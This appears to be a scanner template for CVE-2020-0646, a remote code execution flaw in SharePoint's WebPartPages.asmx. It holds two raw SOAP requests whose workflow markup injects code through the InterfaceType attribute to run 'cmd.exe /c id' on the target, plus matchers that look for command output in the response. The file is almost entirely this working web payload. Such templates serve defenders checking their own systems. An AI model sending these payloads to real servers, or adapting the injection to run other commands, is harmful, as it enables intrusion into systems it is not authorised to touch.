CVE-2020-0646

CVE-2020-0646

info:
  name: CVE-2020-0646
  author:  0x240x23elu
  severity: High

requests:
  - raw:
      - |
        POST /EN/_vti_bin/WebPartPages.asmx HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Cookie: PERSISTENCE-COOKIE=2290634762.20480.0000
        Accept-Language: en-us, en;q=0.1
        Accept: auth/sicily
        X-FORMS_BASED_AUTH_ACCEPTED: T
        Content-Type: text/xml; charset=utf-8
        X-Vermeer-Content-Type: text/xml; charset=utf-8
        Accept-encoding: gzip, deflate
        Connection: Keep-Alive
        Pragma: no-cache
        Content-Length: 947
        
        		
        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
        <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
        <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c id";private/**/void/**/foobar(){//' />

        </SequentialWorkflowActivity>


        ]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>
        

      - |
        POST /_vti_bin/WebPartPages.asmx HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Cookie: PERSISTENCE-COOKIE=2290634762.20480.0000
        Accept-Language: en-us, en;q=0.1
        Accept: auth/sicily
        X-FORMS_BASED_AUTH_ACCEPTED: T
        Content-Type: text/xml; charset=utf-8
        X-Vermeer-Content-Type: text/xml; charset=utf-8
        Accept-encoding: gzip, deflate
        Connection: Keep-Alive
        Pragma: no-cache
        Content-Length: 947
        
        		
        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
        <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
        <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c id";private/**/void/**/foobar(){//' />

        </SequentialWorkflowActivity>


        ]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>
        
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "uid=1"
          - "gid=1"
        condition: and
        part: body